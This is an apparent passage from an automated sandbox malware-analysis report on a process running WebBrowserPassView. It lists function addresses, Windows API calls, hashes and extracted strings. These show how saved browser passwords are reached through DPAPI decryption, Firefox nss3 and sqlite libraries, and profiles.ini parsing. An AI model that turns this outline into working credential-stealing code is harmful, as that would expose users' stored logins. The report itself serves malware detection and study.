                                                                                                              • Opcode Fuzzy Hash: b450fec74f7795ac9fca528e737bf449a82a962f0464f52a5a7c386dc31c5c02
                                                                                                              • Instruction Fuzzy Hash: AC900282455501216C4522755D1750511080851176374074A7032A59D1DE688150601C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 0041604B Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
                                                                                                              • String ID:
                                                                                                              • API String ID: 4218492932-0
                                                                                                              • Opcode ID: 91481d4031c4b0f89b54af3f497fb88c2307565dbaae607565dd24303698038d
                                                                                                              • Instruction ID: b821822af8fa1f08beba458ee4fa97db6355aebb6f9a48b4278dc6bbcb45c8c8
                                                                                                              • Opcode Fuzzy Hash: 91481d4031c4b0f89b54af3f497fb88c2307565dbaae607565dd24303698038d
                                                                                                              • Instruction Fuzzy Hash: 601163F3900118ABDB00EFA4DC899DAB7ACEF19710F454536FA09DB144E674E748C7A9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415AFD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetLastError.KERNEL32 ref: 00415B06
                                                                                                                • Part of subcall function 00414BCA: GetVersionExW.KERNEL32(?), ref: 00414BED
                                                                                                              • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00415B2D
                                                                                                              • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00415B56
                                                                                                              • LocalFree.KERNEL32(?), ref: 00415B71
                                                                                                              • free.MSVCRT(?,0044A338,?), ref: 00415B9F
                                                                                                                • Part of subcall function 00414C63: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,74EC18FE,?,00414D8E,?), ref: 00414C81
                                                                                                                • Part of subcall function 00414C63: malloc.MSVCRT ref: 00414C88
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
                                                                                                              • String ID: OsError 0x%x (%u)
                                                                                                              • API String ID: 2360000266-2664311388
                                                                                                              • Opcode ID: b92bfb85b135c96f8b850ddecf84185ea98de4423d487b3975f43b970985a80a
                                                                                                              • Instruction ID: b695a5953d892c14765524e538430075cec87daac3f875befcc4cde39e80dde6
                                                                                                              • Opcode Fuzzy Hash: b92bfb85b135c96f8b850ddecf84185ea98de4423d487b3975f43b970985a80a
                                                                                                              • Instruction Fuzzy Hash: 5F118E34A00218BBDB21AFA19C49CDFBF78EF85B51B104067F405A2250D6795B809BA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004021D9 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 282COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • _wcsicmp.MSVCRT ref: 00402201
                                                                                                              • _wcsicmp.MSVCRT ref: 00402231
                                                                                                              • _wcsicmp.MSVCRT ref: 0040225E
                                                                                                              • _wcsicmp.MSVCRT ref: 0040228B
                                                                                                                • Part of subcall function 0040805C: wcslen.MSVCRT ref: 0040806F
                                                                                                                • Part of subcall function 0040805C: memcpy.MSVCRT ref: 0040808E
                                                                                                              • memset.MSVCRT ref: 0040262F
                                                                                                              • memcpy.MSVCRT ref: 00402664
                                                                                                                • Part of subcall function 00403853: LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004026AC,?,00000090,00000000,?), ref: 00403862
                                                                                                                • Part of subcall function 00403853: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403874
                                                                                                                • Part of subcall function 00403853: FreeLibrary.KERNEL32(00000000), ref: 00403897
                                                                                                              • memcpy.MSVCRT ref: 004026C0
                                                                                                              • LocalFree.KERNEL32(?,?,?,00000000,?,00000090,00000000,?), ref: 0040271E
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000090,00000000,?), ref: 0040272D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp$FreeLibrarymemcpy$AddressLoadLocalProcmemsetwcslen
                                                                                                              • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                                              • API String ID: 462158748-1134094380
                                                                                                              • Opcode ID: 77a1b1b6f1160c8da7bc509bbcfd5bc0ca8aed1e625a5ef69c1f2e6acdd1c49f
                                                                                                              • Instruction ID: cc44404655acc20b5533cc0c34fbbab0c7f11d0fd0cfcd5d05bb593c6a12ed59
                                                                                                              • Opcode Fuzzy Hash: 77a1b1b6f1160c8da7bc509bbcfd5bc0ca8aed1e625a5ef69c1f2e6acdd1c49f
                                                                                                              • Instruction Fuzzy Hash: C9F1FF208087E9C9DB32D7788D097CEBE645B23324F0443D9E1E87A2D2D7B55B85CB66
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441975 Relevance: 66.7, APIs: 23, Strings: 15, Instructions: 152libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004419A0
                                                                                                              • wcscpy.MSVCRT ref: 004419B7
                                                                                                              • memset.MSVCRT ref: 004419EA
                                                                                                              • wcscpy.MSVCRT ref: 00441A00
                                                                                                              • wcscat.MSVCRT ref: 00441A11
                                                                                                              • wcscpy.MSVCRT ref: 00441A37
                                                                                                              • wcscat.MSVCRT ref: 00441A48
                                                                                                              • wcscpy.MSVCRT ref: 00441A6F
                                                                                                              • wcscat.MSVCRT ref: 00441A80
                                                                                                              • GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000104,00000000), ref: 00441A8F
                                                                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,00000104,00000000), ref: 00441AA6
                                                                                                              • LoadLibraryW.KERNEL32(sqlite3.dll,?,00000104,00000000), ref: 00441AB9
                                                                                                              • LoadLibraryW.KERNEL32(mozsqlite3.dll,?,00000104,00000000), ref: 00441AC7
                                                                                                              • LoadLibraryW.KERNEL32(nss3.dll,?,00000104,00000000), ref: 00441AD7
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_open,?,00000104,00000000), ref: 00441AF3
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_prepare,?,00000104,00000000), ref: 00441AFF
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_step,?,00000104,00000000), ref: 00441B0C
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_text,?,00000104,00000000), ref: 00441B19
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_int,?,00000104,00000000), ref: 00441B26
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_int64,?,00000104,00000000), ref: 00441B33
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_finalize,?,00000104,00000000), ref: 00441B40
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_close,?,00000104,00000000), ref: 00441B4D
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_exec,?,00000104,00000000), ref: 00441B5A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$LibraryLoadwcscpy$wcscat$memset$HandleModule
                                                                                                              • String ID: \mozsqlite3.dll$\nss3.dll$\sqlite3.dll$mozsqlite3.dll$nss3.dll$sqlite3.dll$sqlite3_close$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text$sqlite3_exec$sqlite3_finalize$sqlite3_open$sqlite3_prepare$sqlite3_step
                                                                                                              • API String ID: 2522319644-522817110
                                                                                                              • Opcode ID: 8848e67c20b1512477d94237df3342a95449e5598eedc60463cf29981b84716b
                                                                                                              • Instruction ID: 320c17c5e6ace6947bedab1e2bf77c9c6d077df099d9b5840aba930edb5fc244
                                                                                                              • Opcode Fuzzy Hash: 8848e67c20b1512477d94237df3342a95449e5598eedc60463cf29981b84716b
                                                                                                              • Instruction Fuzzy Hash: 855165B1901709BADB20FFB18D49A4BB7F8AF08704F5008ABE54AE2551E778E644CF18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409B6A Relevance: 59.8, APIs: 27, Strings: 7, Instructions: 275stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
                                                                                                              • String ID: :stringdata$dpapi:$ftp://$http://$https://$internet explorer$wininetcachecredentials
                                                                                                              • API String ID: 2787044678-1843504584
                                                                                                              • Opcode ID: cb6674861b630e023730bc8514c911496a266ea8c7e3a43a84e29182814d6b93
                                                                                                              • Instruction ID: bbe16b9e6473d86cc6eed57c0ed50d6d6787e5e5d2f3b2995f82d19aea11410f
                                                                                                              • Opcode Fuzzy Hash: cb6674861b630e023730bc8514c911496a266ea8c7e3a43a84e29182814d6b93
                                                                                                              • Instruction Fuzzy Hash: 2891A571940209BFEF20EF55CD41EDF77A8AF54314F10006AF848A3292EB79EE508B68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004113F4 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003E9), ref: 00411421
                                                                                                              • GetDlgItem.USER32(?,000003E8), ref: 0041142D
                                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 0041143C
                                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 00411448
                                                                                                              • GetWindowLongW.USER32(00000000,000000EC), ref: 00411451
                                                                                                              • GetWindowLongW.USER32(?,000000EC), ref: 0041145D
                                                                                                              • GetWindowRect.USER32 ref: 0041146F
                                                                                                              • GetWindowRect.USER32 ref: 0041147A
                                                                                                              • MapWindowPoints.USER32 ref: 0041148E
                                                                                                              • MapWindowPoints.USER32 ref: 0041149C
                                                                                                              • GetDC.USER32 ref: 004114D5
                                                                                                              • wcslen.MSVCRT ref: 00411515
                                                                                                              • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00411526
                                                                                                              • ReleaseDC.USER32(?,?), ref: 00411573
                                                                                                              • _snwprintf.MSVCRT ref: 00411636
                                                                                                              • SetWindowTextW.USER32 ref: 0041164A
                                                                                                              • SetWindowTextW.USER32 ref: 00411668
                                                                                                              • GetDlgItem.USER32(?,00000001), ref: 0041169E
                                                                                                              • GetWindowRect.USER32 ref: 004116AE
                                                                                                              • MapWindowPoints.USER32 ref: 004116BC
                                                                                                              • GetClientRect.USER32 ref: 004116D3
                                                                                                              • GetWindowRect.USER32 ref: 004116DD
                                                                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00411723
                                                                                                              • GetClientRect.USER32 ref: 0041172D
                                                                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00411765
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                                              • String ID: %s:$EDIT$STATIC
                                                                                                              • API String ID: 2080319088-3046471546
                                                                                                              • Opcode ID: 82769fcda4aee539b94f7460eafa85e4f9ca3f83dedf5f01e4882f05d4beebf3
                                                                                                              • Instruction ID: 8ff438caca04d900f401a49fee0f0db12add2221ca5be9c1dac879361ae65e4d
                                                                                                              • Opcode Fuzzy Hash: 82769fcda4aee539b94f7460eafa85e4f9ca3f83dedf5f01e4882f05d4beebf3
                                                                                                              • Instruction Fuzzy Hash: E3B1B071108341AFD720DF68C985E6BBBF9FB88704F004A2DF69692261DB75E944CF16
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040109F Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 182COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 004010F7
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 00401109
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 0040113F
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 0040114C
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 0040117A
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 0040118C
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401195
                                                                                                              • LoadCursorW.USER32 ref: 0040119E
                                                                                                              • SetCursor.USER32(00000000), ref: 004011A5
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 004011C6
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 004011D3
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 004011ED
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 004011F9
                                                                                                              • SetTextColor.GDI32(?,00C00000), ref: 00401207
                                                                                                              • GetSysColorBrush.USER32 ref: 0040120F
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 00401230
                                                                                                              • EndDialog.USER32 ref: 00401265
                                                                                                              • DeleteObject.GDI32(?), ref: 00401271
                                                                                                              • GetDlgItem.USER32(?,000003ED), ref: 00401296
                                                                                                              • ShowWindow.USER32(00000000), ref: 0040129F
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 004012AB
                                                                                                              • ShowWindow.USER32(00000000), ref: 004012AE
                                                                                                              • SetDlgItemTextW.USER32 ref: 004012BF
                                                                                                              • SetWindowTextW.USER32 ref: 004012CD
                                                                                                              • SetDlgItemTextW.USER32 ref: 004012E5
                                                                                                              • SetDlgItemTextW.USER32 ref: 004012F6
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                                              • String ID: WebBrowserPassView
                                                                                                              • API String ID: 829165378-2171583229
                                                                                                              • Opcode ID: 9528d28c6aa400cf950dedba09aaaf40a629cdba61218975bccd681405960fd9
                                                                                                              • Instruction ID: 8d9c6eba8ddb3a7c26c98eaf12cf57faa7ce2db5dd3d1d54ce32cd9ff2fd20fc
                                                                                                              • Opcode Fuzzy Hash: 9528d28c6aa400cf950dedba09aaaf40a629cdba61218975bccd681405960fd9
                                                                                                              • Instruction Fuzzy Hash: 8C517E35500308BBDB22AF64DC45E6E7BB5FB04742F104A7AF952A66F0C774AE50EB18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F767 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 0040FA0E
                                                                                                              • {Unknown}, xrefs: 0040F831
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                                              • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                                              • API String ID: 4111938811-1819279800
                                                                                                              • Opcode ID: 4192c38ce99e2e5d3a4b6b431755b06133974f066cfd60dedb09103ebde27fd1
                                                                                                              • Instruction ID: 69e9f0bde0ef3093fe47e3bafb281a214b560c7f74f151c34d98b156b899ddfd
                                                                                                              • Opcode Fuzzy Hash: 4192c38ce99e2e5d3a4b6b431755b06133974f066cfd60dedb09103ebde27fd1
                                                                                                              • Instruction Fuzzy Hash: F7719FB680121DBEEF219B50DC45EDA7B6CEF08355F0000B6F508A21A1DA799E88CF69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F4F7 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 171COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetwcscpy$wcslen$_snwprintf$wcscat
                                                                                                              • String ID: General$IsRelative$Path$Profile%d$profiles.ini
                                                                                                              • API String ID: 3014334669-2600475665
                                                                                                              • Opcode ID: c5dfa419d5e156fd18e38bb9fe1657a50580db14dfc2297f0345cb0c168ef583
                                                                                                              • Instruction ID: ca42eae1a8a54deb15ae60d9a008fbbac9316f2c57223d03809256618168ca92
                                                                                                              • Opcode Fuzzy Hash: c5dfa419d5e156fd18e38bb9fe1657a50580db14dfc2297f0345cb0c168ef583
                                                                                                              • Instruction Fuzzy Hash: F151627290021CBADB20EB55CD45ECEB7BCAF14744F5044B7B10DA2091EB789B888F6A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D1D0 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 254windowregistryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040A2C8: LoadMenuW.USER32(00000000), ref: 0040A2D0
                                                                                                              • SetMenu.USER32 ref: 0040D2E0
                                                                                                              • CreateStatusWindowW.COMCTL32(50000000,Function_000434FC,?,00000101), ref: 0040D2FB
                                                                                                              • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 0040D313
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040D322
                                                                                                              • LoadImageW.USER32 ref: 0040D32F
                                                                                                              • CreateToolbarEx.COMCTL32(?,50010900,00000102,00000006,00000000,00000000,?,00000007,00000010,00000010,00000060,00000010,00000014), ref: 0040D359
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040D366
                                                                                                              • CreateWindowExW.USER32 ref: 0040D38D
                                                                                                              • GetFileAttributesW.KERNEL32(004518A8,?,00000000,/nosaveload,00000000,00000001), ref: 0040D468
                                                                                                              • GetTempPathW.KERNEL32(00000104,004518A8), ref: 0040D478
                                                                                                              • wcslen.MSVCRT ref: 0040D47F
                                                                                                              • wcslen.MSVCRT ref: 0040D48D
                                                                                                              • RegisterWindowMessageW.USER32(commdlg_FindReplace,00000001,?,00000000,/nosaveload,00000000,00000001), ref: 0040D4DA
                                                                                                              • SendMessageW.USER32(?,00000404,00000002,?), ref: 0040D515
                                                                                                              • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 0040D528
                                                                                                                • Part of subcall function 00403A14: wcslen.MSVCRT ref: 00403A31
                                                                                                                • Part of subcall function 00403A14: SendMessageW.USER32(?,00001061,?,?), ref: 00403A55
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Message$Send$CreateWindowwcslen$HandleLoadMenuModule$AttributesFileImagePathRegisterStatusTempToolbar
                                                                                                              • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html
                                                                                                              • API String ID: 1638525581-2103577948
                                                                                                              • Opcode ID: 09239095896d852bc9637f75337da0b8f677ca08e5855ea8ee30249aa1057c49
                                                                                                              • Instruction ID: 7a0d9eec849a31f4480aab016bccc9be6ec6f6c883519ecda8bf5f9757aa8271
                                                                                                              • Opcode Fuzzy Hash: 09239095896d852bc9637f75337da0b8f677ca08e5855ea8ee30249aa1057c49
                                                                                                              • Instruction Fuzzy Hash: D7A1A171500388AFEB11DF68CC89BCA7FA5AF55704F04447DFA486B292C7B59908CB69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441C15 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetFileVersionInfoSizeW.VERSION(0040AAB8,?,00000000), ref: 00441C2B
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00441C46
                                                                                                              • GetFileVersionInfoW.VERSION(0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441C56
                                                                                                              • VerQueryValueW.VERSION(00000000,004482D0,0040AAB8,?,0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441C69
                                                                                                              • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,004482D0,0040AAB8,?,0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441CA6
                                                                                                              • _snwprintf.MSVCRT ref: 00441CC6
                                                                                                              • wcscpy.MSVCRT ref: 00441CF0
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00441DA0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
                                                                                                              • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                                                                                                              • API String ID: 1223191525-1542517562
                                                                                                              • Opcode ID: 9897178d094dfd97b061ac7dac744c392fa480436af166b1c163587981a405ce
                                                                                                              • Instruction ID: 5dc843b0b2888ef0cde47c2e58fd974eed7f8edc5a370bbe46a7031584b3d011
                                                                                                              • Opcode Fuzzy Hash: 9897178d094dfd97b061ac7dac744c392fa480436af166b1c163587981a405ce
                                                                                                              • Instruction Fuzzy Hash: 044143B2940618BAE704EFA1EC82DDEB7BCFF08744B400557B505A3151DB78BA85CBE8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C8CF Relevance: 33.1, APIs: 22, Instructions: 137windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040C912
                                                                                                              • memset.MSVCRT ref: 0040C927
                                                                                                              • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0040C939
                                                                                                              • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 0040C957
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040C970
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000006), ref: 0040C97B
                                                                                                              • SendMessageW.USER32(?,00001003,00000001,?), ref: 0040C994
                                                                                                              • ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 0040C9A8
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000006), ref: 0040C9B3
                                                                                                              • SendMessageW.USER32(?,00001003,00000000,?), ref: 0040C9CB
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040C9D7
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040C9E6
                                                                                                              • LoadImageW.USER32 ref: 0040C9F8
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040CA03
                                                                                                              • LoadImageW.USER32 ref: 0040CA15
                                                                                                              • ImageList_SetImageCount.COMCTL32(?,00000000), ref: 0040CA26
                                                                                                              • GetSysColor.USER32 ref: 0040CA2E
                                                                                                              • ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 0040CA49
                                                                                                              • ImageList_AddMasked.COMCTL32(?,?,?), ref: 0040CA59
                                                                                                              • DeleteObject.GDI32(?), ref: 0040CA65
                                                                                                              • DeleteObject.GDI32(?), ref: 0040CA6B
                                                                                                              • SendMessageW.USER32(00000000,00001208,00000000,?), ref: 0040CA88
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
                                                                                                              • String ID:
                                                                                                              • API String ID: 304928396-0
                                                                                                              • Opcode ID: 45911c1970665382fa90db5d41abc719a2ef46b241cbde3be6a9b9b2f588298f
                                                                                                              • Instruction ID: 0a3ff62ab3886bf523a191411b010267208ec01492d8cd9208f2635b8a46902f
                                                                                                              • Opcode Fuzzy Hash: 45911c1970665382fa90db5d41abc719a2ef46b241cbde3be6a9b9b2f588298f
                                                                                                              • Instruction Fuzzy Hash: A541B871640304BFE7209F70CC8AF97B7ACFB09B45F000929F399A51D1C6B5A9408B29
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004125BA Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscat$_snwprintfmemset$wcscpy
                                                                                                              • String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
                                                                                                              • API String ID: 3143752011-1996832678
                                                                                                              • Opcode ID: 2ff61e6e61c45a42ec8a536e31393f15904b361fc50918dfd7b37e2d26dac3f0
                                                                                                              • Instruction ID: 1bdd15307226dc02cd036ffdab734ce65306a7f25c134a46d7f370f8b7d92746
                                                                                                              • Opcode Fuzzy Hash: 2ff61e6e61c45a42ec8a536e31393f15904b361fc50918dfd7b37e2d26dac3f0
                                                                                                              • Instruction Fuzzy Hash: 2C31E9B2900305BEEB20AA559E82DBF73BCDF41715F60405FF214E21C2DABC9E859A1C
                                                                                                              Uniqueness

